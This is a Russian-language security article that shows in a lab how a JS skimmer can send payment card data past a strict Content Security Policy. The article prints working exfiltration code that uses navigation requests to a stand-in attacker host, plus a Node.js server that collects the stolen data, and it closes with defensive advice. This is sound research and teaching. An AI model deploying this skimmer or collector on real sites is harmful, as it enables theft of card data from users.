Всем привет! Меня зовут Михаил Парфенов, я являюсь главным архитектором по информационной безопасности в DPA Analytics. Довольно часто встречаю утверждение о том, что настроенная Content Security Policy (CSP) – достаточное и надежное средство защиты frontend-приложений от большинства существующих угроз. Поговорим о задачах CSP и на практике проверим, защитит ли CSP от кражи данных с web-страницы js-сниффером.

Основы

Content Security Policy – механизм безопасности, позволяющий создателю web-приложения указать браузеру пользователя, из каких источников web-странице разрешается загружать различные ресурсы (скрипты, картинки, шрифты).

CSP указывается в виде http-заголовка или мета-тега и состоит из различных директив, управляющих разрешениями для соответствующих ресурсов / функций браузера.

По мере развития функций браузеров (fetch, worker, manifest и другие) CSP обрастала новыми директивами. В данный момент актуальная версия – 3 (https://www.w3.org/TR/CSP3/).

Угрозы для frontend-приложений

В связи с тем, что браузер и устройство пользователя не находится в контролируемой зоне с точки зрения информационной безопасности, обнаружение вредоносных действий js-кода является нетривиальной задачей.

Например, в случае с размещением вредоносного кода в сервисе polyfill.io (выполнялся редирект пользователей на сайты онлайн-букмекеров на определенных устройствах и в определенные временные интервалы), массовая реакция сообщества произошла только через 4 месяца. Вредоносный код в более чем 300 000 frontend-приложений присутствовал 4 месяца.

Длительное время присутствия и сложность обнаружения позволяют получить максимальную монетизацию для злоумышленников, а способов монетизировать взлом frontend-приложения множество:

  • кража со страниц конфиденциальных данных (js-снифферы);

  • показ пользователю мошеннических баннеров и другие виды фишинга;

  • редирект на вредоносные сайты;

  • размещение js-майнера;

  • заражение устройства пользователя через уязвимости браузера.

Проведем эксперимент. Проверим, защитит ли Content Security Policy от кражи данных js-сниффером.

Эксперимент с js-сниффером

Эксперимент проводим на стенде, состоящем из: сервера атакующего (attacker.demo.ru), страницы (page.demo.ru) с внедренным js-скриптом атакующего (page.demo.ru/main.js). Исходный код стенда размещен в репозитории https://github.com/frontsecops/demo_csp.

Предположим, что злоумышленник смог внедрить вредоносный код в frontend-приложение. В нашем случае в файл main.js. Это могло быть реализовано различными способами:

  • вредоносный код попал в приложение в одной из npm-зависимостей (supply chain attack);

  • компрометация подключенного к frontend-приложению скрипта сервиса аналитики (или другого стороннего js-сервиса);

  • взлом сервера приложения злоумышленником и внедрение вредоносного js-кода;

  • добавление вредоносного кода разработчиком (намеренно или по ошибке, например код был скопирован из обучающей статьи в интернете).

Цель злоумышленника – перехватить данные, введенные пользователем в форму оплаты банковской картой, а затем отправить эти данные на свой хост.

Вредоносный код внедрен, обработчик события клика по кнопке «Оплатить» перехватывает данные банковской карты из полей формы. Осталось отправить данные на внешний хост.

Но злоумышленник сталкивается с проблемой – на сайте настроена наиболее строгая CSP.

Content-Security-Policy: default-src 'self'; script-src 'self'; script-src-elem 'self'; style-src 'none'; img-src 'none'; connect-src 'self'; font-src 'none'; object-src 'none'; media-src 'none'; frame-src 'none'; child-src 'none'; form-action 'none'; worker-src 'none'; manifest-src 'none'; navigate-to 'none';

В этом случае воспользоваться традиционными методами отправки данных на сторонний хост действительно не получится. Такие функции как XMLHttpRequest, fetch, WebSocket, а также техники динамического создания элемента <img> с добавленными в URL конфиденциальными данными (например, https://attacker.com/logo.jpg?card=555566667777888&owner=IvanIvanov&date=0430&cvv=123) и ряд других техник будут заблокированы браузером, т. к. не соответствуют CSP.

Однако, существует один из каналов передачи данных, доступный JavaScript-коду, который не контролируется CSP. Этот канал – GET-запросы, выполняемые браузером при выполнении навигации между страницами.

Чтобы выполнить навигацию и отправить соответствующий запрос, например, можно воспользоваться следующими методами.

  1. Функция window.open().

  2. Изменение window.location.href.

  3. Динамическое создание ссылки и программный вызов клика по ней.

Напишем небольшой скрипт для отправки данных на хост злоумышленника с помощью этих трех методов. Скрипт генерирует URL злоумышленника в виде:

http://attacker.demo.ru/secret/base64(данные)/base64(URL текущей страницы)

В URL подставляется адрес текущей страницы, на который сервер злоумышленника выполнит обратный редирект.

Также скрипт записывает и проверяет наличие флага в localStorage для каждого метода отправки, чтобы избежать повторных отправок и бесконечной цепочки редиректов.

Скрипт для отправки данных на внешний хост
(async function(){
	
	const baseUrl = 'http://attacker.demo.ru/secret/'	

	function prepareUrl(payload, redirect = false) {
		let redirectUrl = 'none'
		if (redirect) redirectUrl = window.location.href
		let url = baseUrl + btoa(payload) + "/" + btoa(redirectUrl) 
		return url
	}

	function checkSendOnce(id) {
		let q = localStorage.getItem(id);
		if (q) return true
		localStorage.setItem(id, id);
		return false
	}

	function sendViaWindowOpen(payload) {		
		let url = prepareUrl(payload + ' ( via WindowOpen )', true)
		window.open(url,'_self')	
	}

	function sendViaWindowLocation(payload) {		
		let url = prepareUrl(payload + ' ( via WindowLocation )', true)
		window.location.href = url
	}
	
	function sendViaAhref(payload) {		
		let url = prepareUrl(payload + ' ( via Ahref )', true)
		const link = document.createElement('a')
		link.href = url
		document.body.appendChild(link)
		link.click()		
	}		
	
	if (!checkSendOnce('WindowOpen')) sendViaWindowOpen('5555666677778888_10/25_IvanIvanov_123');
	
	await new Promise(r => setTimeout(r, 2000));
	
	if (!checkSendOnce('WindowLocation')) sendViaWindowLocation('4444666677778888_10/25_IvanIvanov_123');
	
	await new Promise(r => setTimeout(r, 2000));
	
	if (!checkSendOnce('Ahref')) sendViaAhref('3333666677778888_10/25_IvanIvanov_123');
	
})();

В реальных атаках могут использоваться дополнительные техники: сохранение хэша данных карты в localStorage, чтобы не отправлять одну и ту же карту несколько раз; шифрование данных; проверка определенных условий – устройство пользователя (desktop, iOS, Android), часовой пояс, язык браузера и другие.

Допустим, злоумышленник развернул простейший сервер на для сбора украденных данных. Сервер получает GET-запрос, выводит полученные данные в консоль и производит обратный редирект по указанному в запросе URL.

Код сервера
const http = require('http');
const url = require('url');

const server = http.createServer((req, res) => {
    const parsedUrl = url.parse(req.url, true);
    const pathname = parsedUrl.pathname;    

    if (pathname.startsWith('/secret')) {        
        let arr = parsedUrl.path.split('/')
        let payload = atob(arr[2])
        let redirect = atob(arr[3]) 
        console.log('Data stolen : ' + payload);        

        if (redirect !== 'none') {            
            console.log('redirecting back to ' + redirect + '..');
            res.writeHead(301, { 'Location': redirect });
            res.end();
            return;            
        }               
    }   
});

const PORT = 3000;
server.listen(PORT, () => {
    console.log(`Server is running on http://127.0.0.1:${PORT}`);
});

Обратный редирект в данном эксперименте необязателен и приведен как один из примеров создания «незаметности» кражи данных для пользователя. Злоумышленник может воспользоваться и другими методами.

Откроем тестовую страницу (page.demo.ru) в актуальной версии Google Chrome (на данный момент — это версия 129).

Видим в консоли сервера:

Данные были успешно отправлены на сервер злоумышленника. При этом визуально пользователь остался на той же странице. Да, если пользователь заполнял форму, поля формы будут очищены, но целью эксперимента является демонстрация возможности успешной отправки данных; в реальной атаке злоумышленник продумает, как не привлечь внимание пользователя к необычному поведению приложения.

Печальная судьба директивы navigate-to

В 2016 году началось обсуждение новой директивы CSP navigate-to, позволяющей ограничить перечень хостов, на которые разрешается навигация с данного сайта. Поддержка директивы даже была реализована в виде экспериментальной функции Chrome.

Однако разработчики браузеров не смогли договориться о финальной реализации (в частности в связи с неопределенностью в применении директивы в случае цепочки редиректов, а также из-за расхождений во мнениях о реализации навигации во фреймах). В итоге в 2022 году директива была удалена из спецификации CSP 3 и Chromium.

Инцидент 2024 года с внедрением вредоносного кода в сервис polyfill.io, затронувший сотни тысяч сайтов, который выполнял редирект пользователей на сайты онлайн-букмекеров, оживил обсуждение удаленной директивы navigate-to, но планов по её возвращению пока нет.

Подробности: https://github.com/w3c/webappsec-csp/issues/125, https://issues.chromium.org/issues/40918092, https://github.com/w3c/webappsec-csp/pull/564.

CSP в реальной жизни

В реальной жизни далеко не все используют CSP, а те, кто используют, имеют менее строгие параметры, а именно:

  • разрешаются публичные CDN для хранения статических ресурсов, в том числе js-библиотек;

  • разрешаются скрипты сторонних систем аналитики;

  • разрешаются inline-скрипты;

  • не используются директивы default-src, connect-src, определяющий в том числе хосты, на которые скрипты могут отправлять запросы через XMLHttpRequest, fetch, WebSocket и другие функции.

Потенциальный злоумышленник может украсть данные со страниц используя инфраструктуру публичных систем аналитики, например, подключив на страницу счетчик, к которому он имеет доступ.

Таким образом, в реальной жизни способы отправки данных со страниц frontend-приложения не ограничиваются только запросами навигации.

Также необходимо учитывать следующие особенности при использовании CSP.

  1. Контроль целостности скриптов с помощью CSP не предотвращает попадания вредоносного кода в современные js-проекты через зависимости. Файл js-приложения (main.js, app.js, bundle.js и т.п.) включает в себя все зависимости проекта, изменяется при каждом релизе, и его хэш-сумма всегда будет указываться в CSP как доверенная.

  2. В случае компрометации сервера, злоумышленник может изменить заголовок CSP.

  3. Использование наиболее строгой CSP может потребовать значительного изменения приложения.

  4. Чтобы гарантировано предотвратить вывод украденных данных через внешние партнерские сервисы (например, системы аналитики) необходимо полностью отказаться от их использования.

  5. Должно быть реализовано разграничение ответственности за конфигурирование и контроль изменений заголовков CSP (разработчики, ИБ/AppSec и др.).

Вывод

В спецификации версии 2 было явно указано, что CSP не предназначена для использования в качестве основной защиты от инъекций контента (в том числе XSS), а подходит для дополнительного уровня безопасности, снижающего последствия от таких атак.

CSP – отличный механизм, позволяющий снизить часть рисков и усложнить проведение атаки для злоумышленника, но CSP:

  • не контролирует все каналы передачи информации в браузере;

  • не защищает от js-снифферов;

  • не должна считаться единственной и достаточной защитой frontend-приложения.

Что делать?

  1. По возможности использовать наиболее строгую CSP. Контролировать изменения заголовков CSP.

  2. Регулярно проводить глубокую инвентаризацию всех скриптов (в том числе динамически загруженных) и активных элементов (iframe, object, embed и других).

  3. Регулярно проверять, на какие внешние хосты отправляет запросы frontend-приложение.

  4. Контролировать использование в js-приложении функций браузера, часто используемых злоумышленниками (например, eval(), Geolocation API, Clipboard API, Notification API и других).

Регулярная инвентаризация и реагирование на изменения позволят оперативно обнаружить вредоносное поведение приложения и предотвратить ущерб от атак.

Я веду telegram-канал FrontSecOps о безопасной разработке frontend-приложений: https://t.me/FrontSecOps. Кому интересны направления поведенческого анализа приложений, frontend application security testing, frontend observability - добро пожаловать!

Комментарии (0)